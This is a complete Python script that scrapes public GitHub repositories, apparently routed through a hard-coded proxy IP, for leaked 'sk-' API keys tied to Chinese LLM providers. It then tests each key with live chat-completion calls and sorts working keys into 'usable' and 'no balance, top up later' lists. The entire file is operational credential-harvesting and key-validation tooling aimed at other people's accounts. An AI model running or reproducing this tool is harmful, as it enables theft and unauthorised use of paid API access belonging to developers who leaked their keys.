#!/usr/bin/env python3 """Full harvest + verify for the 2026-08-03 CN coding-plan batch. Bypasses the tight ±100-char context gate in hunt_all_deep by pulling EVERY sk- credential from each provider's candidate files (the search queries themselves provide provider context). Then verifies with the corrected classifier and per-provider model lists. Providers: 360zhinao, tencent_lkeap, iflytek_maas (smart /models), sensenova, tencent_hunyuan, dmxapi, closeai, api2d, aihubmix """ import json, os, re, sys, time, urllib.request, urllib.error from concurrent.futures import ThreadPoolExecutor, as_completed from pathlib import Path sys.path.insert(0, str(Path(__file__).resolve().parent)) from content_cache import ContentCache from verify_cache import CachedVerifier import providers_all_deep as P import hunt_all_deep as H HERE = Path(__file__).resolve().parent CAND = HERE / "results/all_deep/candidates.tsv" OUT = HERE / "results/cn_batch2_full" OUT.mkdir(parents=True, exist_ok=True) GH_PROXY = os.environ.get("GH_PROXY", "http://114.111.19.228:3389") OPENER = (urllib.request.build_opener( urllib.request.ProxyHandler({"http": GH_PROXY, "https": GH_PROXY})) if GH_PROXY else urllib.request.build_opener()) DIRECT = urllib.request.build_opener() UA = "Mozilla/5.0" PROVIDERS = ["360zhinao", "tencent_lkeap", "iflytek_maas", "sensenova", "tencent_hunyuan", "dmxapi", "closeai", "api2d", "aihubmix"] SK_RE = re.compile(r"sk-[A-Za-z0-9]{32,80}") FAKES = ("xxxx", "your-", "example", "placeholder", "changeme", "sk-0000", "sk-test", "demo", "sample", "aaaaaaaa", "sk-proj-", "sk-ant-", "sk-or-", "sk-cp-", "sk-sp-", "sk-tp-", "sk-cx-", "sk-xt-", "sk-zy-", "gsk_") def fetch_raw_cached(repo, path, url, cc): m = re.search(r"/blob/([0-9a-f]{40})/", url) sha = m.group(1) if m else "" if sha: hit = cc.get(repo.lower(), path, sha) if hit is not None: return hit txt = "" for ref in ("HEAD", "main", "master"): u = f"https://raw.githubusercontent.com/{repo}/{ref}/{path}" req = urllib.request.Request(u, headers={"User-Agent": UA}) try: with OPENER.open(req, timeout=20) as r: txt = r.read().decode("utf-8", "replace") break except urllib.error.HTTPError as e: if e.code == 404: continue break except Exception: continue if txt and sha: cc.put(repo.lower(), path, sha, txt) return txt def harvest_provider(prov, files, cc): """Pull all sk- keys from a provider's candidate files.""" keys = {} def fetch_one(item): repo, path, url = item try: txt = fetch_raw_cached(repo, path, url, cc) except Exception: txt = "" found = set() for m in SK_RE.finditer(txt or ""): k = m.group(0) kl = k.lower() if any(f in kl for f in FAKES): continue # skip obvious other-provider keys by prefix if any(k.startswith(p) for p in ("sk-ant-", "sk-or-", "sk-cp-", "sk-sp-", "sk-tp-", "sk-cx-", "sk-xt-", "sk-zy-", "sk-proj-")): continue found.add(k) return url, found with ThreadPoolExecutor(max_workers=48) as ex: for url, found in ex.map(fetch_one, files): for k in found: keys.setdefault(k, url) return keys def smart_iflytek_verify(key): """iFlytek MaaS: query /models per key, then try each granted model.""" base = "https://maas-api.cn-huabei-1.xf-yun.com/v1" def http(method, path, body=None): headers = {"Authorization": f"Bearer {key}", "Accept": "application/json"} data = None if body is not None: data = json.dumps(body).encode() headers["Content-Type"] = "application/json" req = urllib.request.Request(base + path, data=data, headers=headers, method=method) try: with DIRECT.open(req, timeout=20) as r: return r.getcode(), r.read().decode("utf-8", "replace") except urllib.error.HTTPError as e: try: return e.code, e.read().decode("utf-8", "replace") except Exception: return e.code, "" except Exception as e: return 0, f"net:{type(e).__name__}" code, body = http("GET", "/models") if code == 401: return "DEAD", f"401 {body[:140]}" models = [] if code == 200: try: data = json.loads(body) models = [m.get("id") for m in data.get("data", []) if m.get("id")] except Exception: pass if not models: models = ["xop3qwen1b7", "xop3qwen14b", "xop3qwen30b", "xqwen257bchat", "xdeepseekv3", "xopdeepseekv32", "xop3qwen235b2507", "xopglm5", "xopkimik26", "xsparkx2flash", "generalv3.5", "4.0Ultra"] last = "no model" for model in models[:15]: cc, cb = http("POST", "/chat/completions", { "model": model, "messages": [{"role": "user", "content": "reply ok"}], "max_tokens": 8, "temperature": 0.01, }) bl = (cb or "").lower() if cc == 200 and '"choices"' in bl: try: j = json.loads(cb) content = (j["choices"][0].get("message", {}).get("content") or "")[:50] except Exception: content = "" return "USABLE", f"{model} 200 {content}" if cc == 401: return "DEAD", f"{model} 401 {cb[:140]}" if cc in (402, 429): return "NO_BALANCE", f"{model} {cc} {cb[:140]}" last = f"{model} {cc}: {cb[:120]}" return "NO_ACCESS", last def main(): # build specs from registry for model lists specs = P.build(H.openai_verify) for s in specs.values(): s["patterns"] = [re.compile(p) for p in s["patterns"]] # gather candidate files per provider files_by_prov = {p: [] for p in PROVIDERS} for ln in CAND.read_text(errors="replace").splitlines(): parts = ln.split("\t") if len(parts) >= 4 and parts[0] in files_by_prov: files_by_prov[parts[0]].append((parts[1], parts[2], parts[3])) cc = ContentCache() all_keys = {} # (prov, key) -> source for prov, files in files_by_prov.items(): if not files: continue print(f"[{prov}] harvesting {len(files)} files...", flush=True) keys = harvest_provider(prov, files, cc) for k, src in keys.items(): all_keys.setdefault((prov, k), src) print(f" -> {len(keys)} unique sk- keys", flush=True) cc.save() by_prov = {} for (prov, k), src in all_keys.items(): by_prov.setdefault(prov, {})[k] = src total = sum(len(d) for d in by_prov.values()) print(f"\nTotal candidate keys to verify: {total}\n", flush=True) buckets = {"USABLE": [], "NO_BALANCE": [], "NO_ACCESS": [], "UNKNOWN": [], "DEAD": []} for prov, d in by_prov.items(): if not d: continue print(f"=== verifying {prov}: {len(d)} keys ===", flush=True) if prov == "iflytek_maas": verify_fn = smart_iflytek_verify cache_name = "iflytek_maas_full" else: verify_fn = specs[prov]["verify"] cache_name = f"full_{prov}" with CachedVerifier(cache_name, verify_fn, force=True) as ver: with ThreadPoolExecutor(max_workers=24) as pool: futs = {pool.submit(ver, k): (k, s) for k, s in d.items()} done = 0 for f in as_completed(futs): k, s = futs[f]; done += 1 try: v, detail = f.result() except Exception as e: v, detail = "UNKNOWN", f"exc:{e}" buckets[v].append((prov, k, s, detail)) if done % 50 == 0: print(f" {prov} {done}/{len(d)} " f"usable={len(buckets['USABLE'])} " f"dead={len(buckets['DEAD'])} " f"nobal={len(buckets['NO_BALANCE'])}", flush=True) for label, rows in buckets.items(): with (OUT / f"{label.lower()}.txt").open("w") as f: for prov, k, s, d in rows: f.write(f"{prov}\t{k}\t{s}\t{d}\n") print("\n=== FULL CN BATCH RESULTS ===") for label in buckets: print(f" {label:11s}: {len(buckets[label])}") print("\n--- USABLE ---") for prov, k, s, d in buckets["USABLE"]: print(f" ✅ [{prov}] {k}\n {s}\n {d[:140]}") print("\n--- NO_BALANCE (real keys, top up later) ---") for prov, k, s, d in buckets["NO_BALANCE"][:30]: print(f" 💰 [{prov}] {k[:50]}... {d[:80]}") if __name__ == "__main__": main()